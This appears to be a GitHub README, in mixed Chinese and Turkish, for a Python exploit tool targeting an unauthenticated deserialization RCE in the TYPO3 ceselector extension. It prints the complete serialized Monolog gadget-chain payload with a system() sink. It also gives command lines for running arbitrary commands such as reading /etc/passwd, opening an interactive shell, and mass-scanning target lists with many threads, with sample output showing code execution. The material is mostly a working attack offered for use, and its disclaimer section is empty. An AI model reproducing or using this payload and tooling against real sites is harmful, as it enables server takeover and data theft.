xxconi/CVE-2026-46275

# CVE-2026-46725 — TYPO3 ceselector Extension RCE      ## 📋 目录 - [关于漏洞](#-zafiyet-hakkında) - [技术细节](#-teknik-detaylar) - [环境要求](#-gereksinimler) - [安装说明](#-kurulum) - [使用说明](#-kullanım) - [示例](#-örnekler) - [输出格式](#-çıktı-formatı) - [工作原理](#-nasıl-çalışır) - [参考资料](#-referanslar) - [免责声明](#-yasal-uyarı) ## 🔍 关于漏洞 | 字段 | 详情 | |------|-------| | **CVE ID** | CVE-2026-46725 | | **产品** | TYPO3 ceselector Extension (`mmc/ceselector`) | | **受影响版本** | `<= 1.1.3` | | **漏洞类型** | Insecure Deserialization (PHP Object Injection) | | **CVSS 评分** | 9.8 Critical | | **CVSS 向量** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **CWE** | CWE-502 (Deserialization of Untrusted Data) | | **EPSS 评分** | 0.0046 (64.3% 分位数) | | **身份验证** | 无需验证 (Unauthenticated) | | **影响** | 完全 RCE — 获取系统完全控制权 | | **研究员** | DhiyaneshDk | ### 描述 TYPO3 `ceselector` extension 在未进行任何验证的情况下，将名为 `T3_ceselector_*` 的 cookie 值直接传入 `unserialize()` 函数。攻击者可以通过在该 cookie 中植入特制的 **PHP Object Injection** payload，在服务器上执行任意命令。 ## 🔧 技术细节 ### 攻击流程 ``` 1. GET / → Sunucu Set-Cookie: T3_ceselector_= döner 2. GET / → Cookie: T3_ceselector_= └─ PHP unserialize() tetiklenir └─ Monolog Gadget Chain çalışır └─ system("id") çıktısı response'a yansır ``` ### Gadget Chain ``` Monolog\Handler\GroupHandler └─ Monolog\Handler\BufferHandler └─ Monolog\LogRecord (buffer) └─ processors: [get_object_vars, end, system] └─ system("") ← RCE ``` ### Payload 结构 ``` O:28:"Monolog\Handler\GroupHandler":1:{ s:11:"*handlers";a:1:{ i:0;O:29:"Monolog\Handler\BufferHandler":6:{ s:10:"*handler";r:3; s:13:"*bufferSize";i:1; s:14:"*bufferLimit";i:0; s:9:"*buffer";a:1:{ i:0;O:17:"Monolog\LogRecord":2:{ s:5:"level";E:19:"Monolog\Level:Debug"; s:5:"mixed";s:2:"id"; ← OS komutu buraya } } s:14:"*initialized";b:1; s:13:"*processors";a:3:{ i:0;s:15:"get_object_vars"; i:1;s:3:"end"; i:2;s:6:"system"; ← sink } } } } ``` ## 📦 环境要求 - Python **3.8+** - `requests` 库 ``` Python >= 3.8 requests >= 2.28.0 ``` ## ⚙️ 安装说明 ``` # 克隆仓库 git clone https://github.com/example/CVE-2026-46725 cd CVE-2026-46725 # 安装依赖项 pip install requests # 或使用 requirements.txt pip install -r requirements.txt ``` **requirements.txt** ``` requests>=2.28.0 urllib3>=1.26.0 ``` ## 🚀 使用说明 ``` usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i] [-t N] [--timeout S] [--proxy URL] [-o FILE] [-v] [--no-color] options: Hedef: -u, --url URL Tek hedef URL -l, --list FILE Hedef listesi (satır başı URL) Exploit: -c, --cmd CMD Çalıştırılacak OS komutu (varsayılan: id) -i, --interactive Başarılı exploit sonrası interaktif shell aç Tarama: -t, --threads N Thread sayısı (varsayılan: 10) --timeout S Timeout saniye (varsayılan: 15) --proxy URL Proxy (örn: http://127.0.0.1:8080) Çıktı: -o, --output FILE Sonuç dosyası -v, --verbose Ayrıntılı çıktı --no-color Renksiz çıktı ``` ## 📌 示例 ### 单一目标 — 基础用法 ``` python CVE-2026-46725.py -u https://typo3-site.com ``` ### 执行自定义命令 ``` python CVE-2026-46725.py -u https://typo3-site.com -c "whoami" python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd" python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a" ``` ### 交互式 Shell ``` python CVE-2026-46725.py -u https://typo3-site.com --interactive ``` ``` typo3@ceselector $ id │ uid=33(www-data) gid=33(www-data) groups=33(www-data) typo3@ceselector $ uname -a │ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux typo3@ceselector $ pwd │ /var/www/html typo3@ceselector $ exit ``` ### 批量扫描 ``` # 使用 20 个 thread 进行扫描，并保存结果 python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt # 30 个 thread，自定义命令 python CVE-2026-46725.py -l targets.txt -t 30 -c "id" ``` ### 通过代理 (Burp Suite) ``` python CVE-2026-46725.py -u https://typo3-site.com \ --proxy http://127.0.0.1:8080 -v ``` ### targets.txt 格式 ``` https://site1.com https://site2.com http://site3.com site4.com ``` ## 📊 输出格式 ### 终端输出 ``` ① TYPO3 & ceselector Tespit ──────────────────────────────────────────────────── · TYPO3 ✓ Tespit edildi · ceselector ✓ Aktif · Cookie Adı T3_ceselector_48291 · TYPO3 Sürüm 12.4.3 ② Payload Hazırlanıyor ──────────────────────────────────────────────────── · Teknik PHP Object Injection → Monolog Gadget Chain · Gadget Monolog\Handler\GroupHandler · Sink system() · Komut id ④ RCE Çıktısı ──────────────────────────────────────────────────── ┌─ RCE ÇIKTISI ─────────────────────────────────── │ uid=33(www-data) gid=33(www-data) groups=33(www-data) └───────────────────────────────────────────────── ``` ### 日志文件 (`results.txt`) ``` ============================================================ CVE-2026-46725 — TYPO3 ceselector RCE Tarih: 2026-05-26 17:30:00 ============================================================ [+] RCE ALINAN HEDEFLER (2) ---------------------------------------- URL : https://typo3-site.com Sürüm : 12.4.3 Cookie : T3_ceselector_48291 Komut : id Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## 🔬 工作原理 ``` ┌─────────────────────────────────────────────────────────┐ │ EXPLOIT AKIŞI │ ├─────────────────────────────────────────────────────────┤ │ │ │ 1. TESPIT │ │ GET / ──────────────────────► TYPO3 Sunucu │ │ ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │ │ │ │ 2. PAYLOAD HAZIRLAMA │ │ build_payload("id") │ │ └─ Monolog gadget chain URL-encode edilir │ │ │ │ 3. EXPLOIT │ │ GET / │ │ Cookie: T3_ceselector_XXXXX=O:28:"Monolog... │ │ ──────────────────────► unserialize() │ │ └─ __destruct() │ │ └─ system("id") │ │ ◄──── uid=33(www-data) gid=33(www-data) ─── │ │ │ │ 4. DOĞRULAMA │ │ regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=... │ │ │ └─────────────────────────────────────────────────────────┘ ``` ## 📚 参考资料 - [TYPO3 Security Advisory TYPO3-EXT-SA-2026-001](https://typo3.org/security/advisory/typo3-ext-sa-2026-001) - [Packagist — mmc/ceselector](https://packagist.org/packages/mmc/ceselector) - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) - [CVSS 3.1 计算器](https://www.first.org/cvss/calculator/3.1) ## ⚖️ 免责声明

**CVE-2026-46725** | TYPO3 ceselector RCE | Python Exploit

标签：Go语言工具, Python, RCE, Web安全, 反序列化, 威胁模拟, 安全, 无后门, 无服务器架构, 系统独立性, 蓝队分析, 超时处理, 逆向工具